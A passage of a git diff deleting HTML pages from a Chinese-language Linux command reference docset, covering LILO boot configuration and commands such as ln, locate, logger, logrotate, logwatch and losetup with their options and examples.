  • password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令)。
  • -
  • other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样。
  • -
  • label= 与所有其他 label 选项相同。
  • -
-

在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行:

-
/sbin/lilo -v -v
-
-

-v -v标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。

-

初始引导过程

-

当 LILO 初始引导时,它会按次序打印出每个字母 —— L-I-L-O。如果所有字母都显示出来,那么第一阶段引导就成功了。缺少任何内容 都表示出现了问题:

-

L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数。

-

LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载。

-

LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题。

-

LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同。

-

LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误。

-

LILO:LILO 成功被加载,没有出现任何错误。

-

引导时的附加配置

-

LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导/dev/hdb3,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。

-

不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行/sbin/lilo时指定选项。

-

关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用boot=/dev/fd0替换boot=/dev/hda。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回boot=/dev/hda,然后最后一次运行/sbin/lilo来上传修改。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ln.html b/linux-command.docset/Contents/Resources/Documents/c/ln.html deleted file mode 100644 index 20a7e61d7b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ln.html +++ /dev/null @@ -1,172 +0,0 @@ - - - - - - - - - - - ln 命令,Linux ln 命令详解:用来为文件创建链接 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ln

-

用来为文件创建链接

-

补充说明

-

ln命令 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。

-

注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。

-

语法

-
ln [选项]... [-T] 目标 链接名	(第一种格式)
- 或:ln [选项]... 目标		(第二种格式)
- 或:ln [选项]... 目标... 目录	(第三种格式)
- 或:ln [选项]... -t 目录 目标...	(第四种格式)
-
-

选项

-
    --backup[=CONTROL]  为每个已存在的目标文件创建备份文件
--b        类似--backup,但不接受任何参数
--d, -F, --directory   创建指向目录的硬链接(只适用于超级用户)
--f, --force     强行删除任何已存在的目标文件
--i, --interactive           覆盖既有文件之前先询问用户
--L, --logical               取消引用作为符号链接的目标
--n, --no-dereference        把符号链接的目的目录视为一般文件
--P, --physical              直接将硬链接到符号链接
--r, --relative              创建相对于链接位置的符号链接
--s, --symbolic              对源文件建立符号链接,而非硬链接
--S, --suffix=SUFFIX         用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它
--t, --target-directory=DIRECTORY  指定要在其中创建链接的DIRECTORY
--T, --no-target-directory   将“LINK_NAME”视为常规文件
--v, --verbose               打印每个链接文件的名称
-    --help    显示此帮助信息并退出
-    --version   显示版本信息并退出
-
-

参数

-
    -
  • 源文件:指定链接的源文件。如果使用-s选项创建符号链接,则“源文件”可以是文件或者目录。创建硬链接时,则“源文件”参数只能是文件。
  • -
  • 目标文件:指定源文件的目标链接文件。
  • -
-
none, off       # 不进行备份(即使使用了--backup 选项)
-numbered, t     # 备份文件加上数字进行排序
-existing, nil   # 若有数字的备份文件已经存在则使用数字,否则使用普通方式备份
-simple, never   # 永远使用普通方式备份
-
-

实例

-

将目录/usr/mengqc/mub1下的文件m2.c链接到目录/usr/liu下的文件a2.c

-
cd /usr/mengqc
-ln /mub1/m2.c /usr/liu/a2.c
-
-

在执行ln命令之前,目录/usr/liu中不存在a2.c文件。执行ln之后,在/usr/liu目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用ls -l命令可以看到链接数的变化。

-

在目录/usr/liu下建立一个符号链接文件abc,使它指向目录/usr/mengqc/mub1

-
ln -s /usr/mengqc/mub1 /usr/liu/abc
-
-

执行该命令后,/usr/mengqc/mub1代表的路径将存放在名为/usr/liu/abc的文件中。

-

扩展知识

-

Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。

-

文件链接有两种形式,即硬链接和符号链接。

-

ln功能说明:是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。

-
-

:warning: ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化。

-
-

硬链接

-

建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。

-
ls -ailR
-.:
-total 16
-922730 drwxr-xr-x  4 root root 4096 Jun 17 11:18 .
-393217 drwxrwxrwt. 9 root root 4096 Jun 17 11:19 ..
-922733 drwxr-xr-x  2 root root 4096 Jun 17 11:18 liu
-922731 -rw-r--r--  3 root root    0 Jun 17 11:18 m2.c
-922732 drwxr-xr-x  2 root root 4096 Jun 17 11:18 mub1
-
-./liu:
-total 8
-922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
-922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
-922731 -rw-r--r-- 3 root root    0 Jun 17 11:18 m2.c
-
-./mub1:
-total 8
-922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 .
-922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 ..
-922731 -rw-r--r-- 3 root root    0 Jun 17 11:18 m2.c
-
-

创建硬链接后,己经存在的文件的索引节点号(inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为1。

-

在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。

-

对硬链接有如下限制:

-
    -
  • 不能对目录文件做硬链接。
  • -
  • 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。
  • -
-

符号链接

-

符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如下所示的abc文件),其中包含它提供链接的另一个文件的路径名,如虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。

-
$ ls -il
-total 0
-922736 lrwxrwxrwx 1 root root 5 Jun 17 11:27 abc -> a.txt
-922735 -rw-r--r-- 1 root root 0 Jun 17 11:27 a.txt
-
-

与硬链接不同的是,符号链接确实是一个新文件,当然它具有不同的索引节点号;而硬链接并没有建立新文件。

-

符号链接没有硬链接的限制,可以对目录文件做符号链接,也可以在不同文件系统之间做符号链接。

-

ln -s命令建立符号链接时,源文件最好用绝对路径名。这样可以在任何工作目录下进行符号链接。而当源文件用相对路径时,如果当前的工作路径与要创建的符号链接文件所在路径不同,就不能进行链接。

-

符号链接保持了链接与源文件或目录之间的区别:

-
    -
  • 删除源文件或目录,只删除了数据,不会删除链接。一旦以同样文件名创建了源文件,链接将继续指向该文件的新数据。
  • -
  • 在目录长列表中,符号链接作为一种特殊的文件类型显示出来,其第一个字母是l。
  • -
  • 符号链接的大小是其链接文件的路径名中的字节数。
  • -
  • 当用ls -l命令列出文件时,可以看到符号链接名后有一个箭头指向源文件或目录,例如lrwxrwxrwx … 14 jun 20 10:20 /etc/motd->/original_file其中,表示“文件大小”的数字“14”恰好说明源文件名original_file由14个字符构成。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lnstat.html b/linux-command.docset/Contents/Resources/Documents/c/lnstat.html deleted file mode 100644 index 82715a2302..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lnstat.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - lnstat 命令,Linux lnstat 命令详解:显示Linux系统的网路状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lnstat

-

显示Linux系统的网路状态

-

补充说明

-

lnstat命令 用来显示Linux系统的网路状态。

-

语法

-
lnstat(选项)
-
-

选项

-
-h:显示帮助信息;
--V:显示指令版本信息;
--c:指定显示网络状态的次数,每隔一定时间显示一次网络状态;
--d:显示可用的文件或关键字;
--i:指定两次显示网络状的间隔秒数;
--k:只显示给定的关键字;
--s:是否显示标题头;
--w:指定每个字段所占的宽度。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/local.html b/linux-command.docset/Contents/Resources/Documents/c/local.html deleted file mode 100644 index 2a1ee76c81..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/local.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - local 命令,Linux local 命令详解:在函数内定义局部变量。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

local

-

在函数内定义局部变量。

-

概要

-
local [-aAfFgilnrtux] [-p] [name[=value] ...]
-
-

主要用途

-
    -
  • 在函数内定义局部变量
  • -
  • 显示局部变量
  • -
  • 在函数内定义全局变量
  • -
-

选项

-
local命令的选项与declare命令的相同,请参考declare命令的选项。
-
-

参数

-

name(可选):变量名或已定义函数名。

-

value(可选):变量的值。

-

返回值

-

local返回true除非你提供了非法选项、赋值错误或是在函数外使用local命令。

-

例子

-
相关例子请参考declare命令
-
-

错误用法

-
    -
  • 在函数外使用该命令。
  • -
-

注意

-
    -
  1. 该命令是bash内建命令,相关的帮助信息请查看help命令以及man bashinfo bash的相应部分。
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/locate.html b/linux-command.docset/Contents/Resources/Documents/c/locate.html deleted file mode 100644 index a7d4dbd46c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/locate.html +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - - - - - - locate 命令,Linux locate 命令详解:比 find 好用的文件查找工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

locate

-

比 find 好用的文件查找工具

-

补充说明

-

locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。

-

locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab)

-

locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”” 或”?”等)来指定范本样式,如指定范本为kcpaner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。

-

locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。

-

语法

-
locate [选择参数] [样式]
-
-

选项

-
-b, --basename  # 仅匹配路径名的基本名称
--c, --count     # 只输出找到的数量
--d, --database DBPATH # 使用DBPATH指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db
--e, --existing  # 仅打印当前现有文件的条目
--1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的  权限资料。
--0, --null            # 在输出上带有NUL的单独条目
--S, --statistics      # 不搜索条目,打印有关每个数据库的统计信息
--q                    # 安静模式,不会显示任何错误讯息。
--P, --nofollow, -H    # 检查文件存在时不要遵循尾随的符号链接
--l, --limit, -n LIMIT # 将输出(或计数)限制为LIMIT个条目
--n                    # 至多显示 n个输出。
--m, --mmap            # 被忽略,为了向后兼容
--r, --regexp REGEXP   # 使用基本正则表达式
-    --regex           # 使用扩展正则表达式
--q, --quiet           # 安静模式,不会显示任何错误讯息
--s, --stdio           # 被忽略,为了向后兼容
--o                    # 指定资料库存的名称。
--h, --help            # 显示帮助
--i, --ignore-case     # 忽略大小写
--V, --version         # 显示版本信息
-
-

实例

-

实例1:查找和pwd相关的所有文件

-
root ~ # locate pwd
-/bin/pwd
-/etc/.pwd.lock
-/sbin/unix_chkpwd
-/usr/bin/pwdx
-/usr/include/pwd.h
-/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.py
-/usr/lib/python2.7/dist-packages/twisted/python/fakepwd.pyc
-/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.py
-/usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.pyc
-/usr/lib/syslinux/pwd.c32
-/usr/share/help/C/empathy/irc-join-pwd.page
-/usr/share/help/ca/empathy/irc-join-pwd.page
-/usr/share/help/cs/empathy/irc-join-pwd.page
-/usr/share/help/de/empathy/irc-join-pwd.page
-/usr/share/help/el/empathy/irc-join-pwd.page
-
-

实例2: 搜索etc目录下所有以sh开头的文件

-
root ~ # locate /etc/sh
-/etc/shadow
-/etc/shadow-
-/etc/shells
-
-

实例3:搜索etc目录下,所有以m开头的文件

-
root ~ # locate /etc/m
-/etc/magic
-/etc/magic.mime
-/etc/mailcap
-/etc/mailcap.order
-/etc/manpath.config
-/etc/mate-settings-daemon
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logger.html b/linux-command.docset/Contents/Resources/Documents/c/logger.html deleted file mode 100644 index 23aafe2243..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logger.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - logger 命令,Linux logger 命令详解:在系统日志中记录相应条目 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logger

-

在系统日志中记录相应条目

-

补充说明

-

logger命令 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块

-

语法

-
logger [options] [message]
-
-

选项

-
 -T, --tcp             使用流连接(TCP)
- -d, --udp             使用数据报(UDP)
- -i, --id              逐行记录每一次logger的进程ID
- -f, --file <file>     记录特定的文件
- -h, --help            显示帮助文本并退出
- -n, --server <name>   写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程
- -P, --port <port>     使用指定的UDP端口。默认的端口号是514
- -p, --priority <prio> 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。
-                       比如:" -p local3.info " local3 这个设备的消息级别为 info。
-                       默认级别是 "user.notice"
- -s, --stderr          输出标准错误到系统日志。
- -t, --tag <tag>       指定标记记录
- -u, --socket <socket> 写入指定的socket,而不是到内置系统日志例程。
- -V, --version         输出版本信息并退出
-
-

例子

-
logger -p syslog.info "backup.sh is starting"
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/login.html b/linux-command.docset/Contents/Resources/Documents/c/login.html deleted file mode 100644 index 7bd9a2c634..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/login.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - login 命令,Linux login 命令详解:登录系统或切换用户身份 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

login

-

登录系统或切换用户身份

-

补充说明

-

login命令 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当/etc/nologin文件存在时,系统只root帐号登入系统,其他用户一律不准登入。

-

语法

-
login(选项)(参数)
-
-

选项

-
-p:告诉login指令不销毁环境变量;
--h:指定远程服务器的主机名。
-
-

参数

-

用户名:指定登录使用的用户名。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logname.html b/linux-command.docset/Contents/Resources/Documents/c/logname.html deleted file mode 100644 index f15f8ccbd9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logname.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - logname 命令,Linux logname 命令详解:打印当前终端登录用户的名称。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logname

-

打印当前终端登录用户的名称。

-

概要

-
logname [OPTION]...
-
-

主要用途

-
    -
  • 打印当前终端登录用户的名称。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
[root@localhost ~]# logname
-root
-
-

注意

-
    -
  1. -

    注意区分 whoamilogname 这两个命令;比如我们以用户 root 打开的终端,然后切换到了用户 user2。此时, whoami返回的是当前用户 user2, logname 返回的是 root,大家可以自行实践验证一下。

    -
  2. -
  3. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 lognameinfo coreutils 'logname invocation'

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logout.html b/linux-command.docset/Contents/Resources/Documents/c/logout.html deleted file mode 100644 index 2d74199659..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logout.html +++ /dev/null @@ -1,76 +0,0 @@ - - - - - - - - - - - logout 命令,Linux logout 命令详解:退出当前登录的Shell - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logout

-

退出当前登录的Shell

-

补充说明

-

logout命令 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。

-

语法

-
logout
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logrotate.html b/linux-command.docset/Contents/Resources/Documents/c/logrotate.html deleted file mode 100644 index f3edcc4a74..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logrotate.html +++ /dev/null @@ -1,143 +0,0 @@ - - - - - - - - - - - logrotate 命令,Linux logrotate 命令详解:系统日志进行轮转、压缩和删除 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logrotate

-

系统日志进行轮转、压缩和删除

-

补充说明

-

logrotate命令 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在/etc/logrotate.conf文件中。

-

语法

-
logrotate(选项)(参数)
-
-

选项

-
-?或--help:在线帮助;
--d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况;
--f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然;
--s<状态文件>或--state=<状态文件>:使用指定的状态文件;
--v或--version:显示指令执行过程;
--usage:显示指令基本用法。
-
-

参数

-

配置文件:指定lograote指令的配置文件。

-

实例

-

crontab 会定时调用logrotate命令 在 /etc/cron.daily/logrotate 文件中配置使用

-

logrotate的配置文件/etc/logrotate.conf 定义引用/etc/logrotate.d目录下的一些自定义的log配置

-

/etc/logrotate.d目录下创建任意后缀名的文件,即可使用对日志进行轮转

-
/tmp/log/log.txt
-{
-    copytruncate
-    daily
-    rotate 30
-    missingok
-    ifempty
-    compress
-    noolddir
-}
-
-

这个配置文件代表的意思是将/tmp/log/log.txt文件 进行轮转压缩

-
compress                 通过gzip 压缩转储以后的日志
-nocompress               不做gzip压缩处理
-copytruncate             用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。
-nocopytruncate 备份日志文件不过不截断
-create mode owner group  轮转时指定创建新文件的属性,如create 0777 nobody nobody
-nocreate                 不建立新的日志文件
-delaycompress            和compress 一起使用时,转储的日志文件到下一次转储时才压缩
-nodelaycompress          覆盖 delaycompress 选项,转储同时压缩
-missingok                如果日志丢失,不报错继续滚动下一个日志
-errors address           专储时的错误信息发送到指定的Email 地址
-ifempty                  即使日志文件为空文件也做轮转,这个是logrotate的缺省选项。
-notifempty               当日志文件为空时,不进行轮转
-mail address             把转储的日志文件发送到指定的E-mail 地址
-nomail                   转储时不发送日志文件
-olddir directory         转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统
-noolddir                 转储后的日志文件和当前日志文件放在同一个目录下
-sharedscripts            运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本
-prerotate                在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行
-postrotate               在logrotate转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行
-daily                    指定转储周期为每天
-weekly                   指定转储周期为每周
-monthly                  指定转储周期为每月
-rotate count             指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份
-dateext                  使用当期日期作为命名格式
-dateformat .%s           配合dateext使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合dateext使用,只支持 %Y %m %d %s 这四个参数
-size(或minsize) log-size 当日志文件到达指定的大小时才转储
-
-

注意事项

-

/etc/logrotate.d目录下创建任意后缀名的文件

-
/tmp/log/log*
-{
-    copytruncate
-    daily
-    rotate 30
-    missingok
-    ifempty
-    compress
-    noolddir
-}
-
-

这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logsave.html b/linux-command.docset/Contents/Resources/Documents/c/logsave.html deleted file mode 100644 index 945ced5363..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logsave.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - logsave 命令,Linux logsave 命令详解:将命令的输出信息保存到指定的日志文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logsave

-

将命令的输出信息保存到指定的日志文件

-

补充说明

-

logsave命令 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。

-

语法

-
logsave(选项)(参数)
-
-

选项

-
-a:追加信息到指定的日志文件中。
-
-

参数

-
    -
  • 日志文件:指定记录运行信息的日志文件;
  • -
  • 指令:需要执行的指令。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/logwatch.html b/linux-command.docset/Contents/Resources/Documents/c/logwatch.html deleted file mode 100644 index f0ed852a69..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/logwatch.html +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - logwatch 命令,Linux logwatch 命令详解:可定制和可插入式的日志监视系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

logwatch

-

可定制和可插入式的日志监视系统

-

补充说明

-

logwatch命令 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从/etc/cron.daily里看到。

-

语法

-
logwatch(选项)
-
-

选项

-
--detail<报告详细程度>:指定日志报告的详细程度;
---logfile<日志文件>:仅处理指定的日志文件;
---service<服务名>:仅处理指定服务的日志文件;
---print:打印结果到标准输出;
---mailto<邮件地址>:将结果发送到指定邮箱;
---range<日期范围>:指定处理日志的日期范围;
---archives:处理归档日志文件;
---debug<调试等级>:调试模式;
---save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱;
---logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录;
---hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名;
---numeric:在报告中显示ip地址而不是主机名;
---help:显示指令的帮助信息。
-
-

实例

-

检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧):

-
rpm -qa logwatch
-
-

如果主机上没有logwatch,则执行:

-
rpm -Ivh logwatch***.rpm
-
-

如果有老版本的logwatch,则执行:

-
rpm -Uvh logwatch***.rpm
-
-

安装完毕后,开始配置:

-

可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置Detail = High就可以了。

-
    -
  • 可以添加新的配置到/etc/logwatch/conf/logwatch.conf
  • -
  • 也可以修改/usr/share/logwatch/default.conf/logwatch.conf
  • -
-

/etc/logwatch/conf/会自动覆盖/usr/share/logwatch/default.conf/下的同名文件。

-

如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。

-
logwatch --detail High --Service All --range All --print    基本就可以显示出所有日志的情况了
-logwatch --service sshd --detail High                       只看sshd的日志情况
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/look.html b/linux-command.docset/Contents/Resources/Documents/c/look.html deleted file mode 100644 index 8bd90de125..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/look.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - look 命令,Linux look 命令详解:显示文件中以指定字符串开头的任意行 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

look

-

显示文件中以指定字符串开头的任意行

-

补充说明

-

look命令 用于显示文件中以指定字符串开头的任意行。

-

语法

-
look(选项)(参数)
-
-

选项

-
-a:使用另一个字典文件web2,该文件也位于/usr/dict目录下;
--d:只对比英文字母和数字,其余一概忽略不予比对;
--f:忽略字符大小写差别;
--t<字尾字符串>:设置字尾字符串。
-
-

参数

-
    -
  • 字符串:指定要查找的字符串;
  • -
  • 文件:指定要查找的目标文件。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/losetup.html b/linux-command.docset/Contents/Resources/Documents/c/losetup.html deleted file mode 100644 index fc3f8043d2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/losetup.html +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - - - - - losetup 命令,Linux losetup 命令详解:设定与控制循环(loop)设备 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

losetup

-

设定与控制循环(loop)设备

-

补充说明

-

losetup命令 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。

-

语法

-
losetup [ -e encryption ] [ -o offset ] loop_device file
-losetup [ -d ] loop_device
-
-

选项

-
-a 显示所有循环设备的状态。
--d 卸除设备。
--e <加密选项> 启动加密编码 。
--f 寻找第一个未使用的循环设备。
